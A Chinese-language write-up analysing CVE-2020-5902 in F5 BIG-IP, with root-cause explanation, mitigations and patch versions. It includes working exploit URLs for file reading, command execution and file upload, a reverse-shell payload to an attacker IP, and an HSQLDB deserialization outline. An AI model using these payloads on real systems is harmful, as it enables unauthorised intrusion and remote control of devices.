CVE-2020-5902:F5 BIG-IP RCE分析研究
字数 2443 2025-08-25 22:59:09
CVE-2020-5902: F5 BIG-IP远程代码执行漏洞深度分析与利用指南
漏洞概述
F5 BIG-IP是美国F5公司开发的一款集成流量管理、DNS、出入站规则、Web应用防火墙、Web网关、负载均衡等功能的应用交付平台。2020年7月初,安全研究人员公开披露F5 BIG-IP产品的流量管理用户页面(TMUI)/配置实用程序的特定页面中存在一处远程代码执行漏洞(CVE-2020-5902)。
影响版本
- BIG-IP 15.x: 15.0.0 - 15.1.0
- BIG-IP 14.x: 14.1.0 - 14.1.2
- BIG-IP 13.x: 13.1.0 - 13.1.3
- BIG-IP 12.x: 12.1.0 - 12.1.5
- BIG-IP 11.x: 11.6.1 - 11.6.5
漏洞类型
- 远程代码执行(RCE)
- 任意文件读取(ReadFile)
- 目录列表(ListDirectory)
- 任意文件上传(Arbitrary File Upload)
利用条件
- 上述影响范围内的F5 BIG-IP版本
- 第一种EXP: 在RCE以及反弹shell时需要近期有用户登录或者用户会话未过期
- 第二种EXP: F5 BIG-IP未关闭Hysqldb(密码默认为空)
漏洞复现环境搭建
虚拟机下载
- 访问F5官网注册账号(https://downloads.f5.com)
- 下载存在漏洞的BIG-IP的ova文件(如15.1.0.0)
- 下载修复版本的BIG-IP的ova文件(如15.1.0.4)
虚拟机配置
- 将ova文件导入VMware Workstations
- 启动后使用默认账号密码登录(用户名:root,密码:default)
- 重置Web登录密码(要求复杂度,如"kvqasdt!q1")
- 通过命令行输入"config"查看IP地址
- 使用https://<IP地址>访问Web界面
- 使用admin/重置密码登录(如admin/hkn!2gQWsgk)
漏洞利用方法
1. 任意文件读取
POC:
/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
常见可读取文件路径:
- /etc/passwd
- /config/profile_base.conf
- /etc/hosts
- /etc/f5/f5-icontrol.gateway.https.conf
2. 目录列表
POC:
/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/
3. 命令执行
方式一: 指令别名方式
# Step 1: 创建执行命令的模式,将list设置为bash的别名
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
# Step 2: 向创建的文件中写入要执行的命令
/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/cmd&content=id
# Step 3: 利用前面设置的list来执行文件中的命令
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/cmd
# Step 4: 最后清空list
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list
方式二: tmsh命令语法
# 查看所有用户
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user
# 查看特定用户
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
4. 反弹Shell
# Step 1: 创建执行命令的模式,将list设置为bash
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
# Step 2: 创建包含反弹shell命令的文件
/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/shell&content=bash+-i+>%26+/dev/tcp/攻击者IP/4444+0>%261
# Step 3: 执行反弹shell
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/shell
5. 任意文件上传
POST请求:
POST /tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
fileName=/tmp/test.txt&content=CVE-2020-5902
漏洞原理分析
1. 中间件解析差异
F5 BIG-IP采用Apache+Tomcat组合处理Java应用。漏洞利用的关键在于中间件对URL解析的差异:
- Apache/Nginx: 将
/..;/视为普通目录 - Tomcat: 将
/..;/解释为父级目录,向上回溯一层
当请求https://server/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd时:
- Apache解析前半部分
/tmui/login.jsp,认为合法并转发给Tomcat - Tomcat看到
/..;/后向上回溯,实际请求变为/tmui/tmui/locallb/workspace/fileRead.jsp - 权限校验只检查了
/tmui/login.jsp,而该页面允许任意用户访问
2. 请求处理流程
- 请求首先由
com.f5.controller.ControlServlet处理 - 调用
F5WebController进行权限校验 - 校验时使用
request.getPathInfo()获取路径,得到的是原始路径/tmui/login.jsp - 实际处理时Tomcat解析后的路径绕过了后续权限检查
3. 漏洞文件分析
文件读取(fileRead.jsp)
- 直接调用
WorkspaceUtils.readFile(fileName) - 未对fileName进行路径校验和权限检查
命令执行(tmshCmd.jsp)
- 通过
WorkspaceUtils.runTmshCommand(cmd)执行命令 - 只允许create/delete/list/modify四种操作类型
- 需要将bash设置为list别名来绕过限制
文件上传(fileSave.jsp)
- 直接调用
WorkspaceUtils.saveFile(fileName, content) - 可创建任意文件并设置权限
新型POC分析(TEAM ARES)
利用HSQLDB反序列化
- 访问
/hsqldb;绕过认证 - 利用
org.hsqldb.util.ScriptTool.main()反序列化攻击载荷 - 需要设置
enableunsafeserialization=true
利用步骤:
- 生成ysoserial payload
- 转换为十六进制格式
- 通过JDBC连接HSQLDB执行反序列化
优势
- 不需要用户会话
- 可绕过部分WAF检测
- 默认HSQLDB密码为空
防御措施
临时缓解方案
- 登录TMOS Shell(tmsh)
- 修改httpd配置:
edit /sys httpd all-properties
- 添加以下内容:
include '
FileETag MTime Size
<LocationMatch ";">
Redirect 404 /
</LocationMatch>
<LocationMatch "hsqldb">
Redirect 404 /
</LocationMatch>
'
- 保存并重启服务:
save /sys config
restart sys service httpd
官方补丁升级
- BIG-IP 15.x: 升级到15.1.0.4
- BIG-IP 14.x: 升级到14.1.2.6
- BIG-IP 13.x: 升级到13.1.3.4
- BIG-IP 12.x: 升级到12.1.5.2
- BIG-IP 11.x: 升级到11.6.5.2
总结与思考
CVE-2020-5902漏洞展示了中间件解析差异导致的权限绕过风险,以及未授权访问接口的危险性。防御方面需要:
- 严格校验文件路径和操作权限
- 使用白名单限制可访问目录
- 关键操作添加二次认证
- 及时更新中间件和应用程序
该漏洞不仅对安全研究人员有参考价值,也为系统架构设计和安全开发提供了重要启示。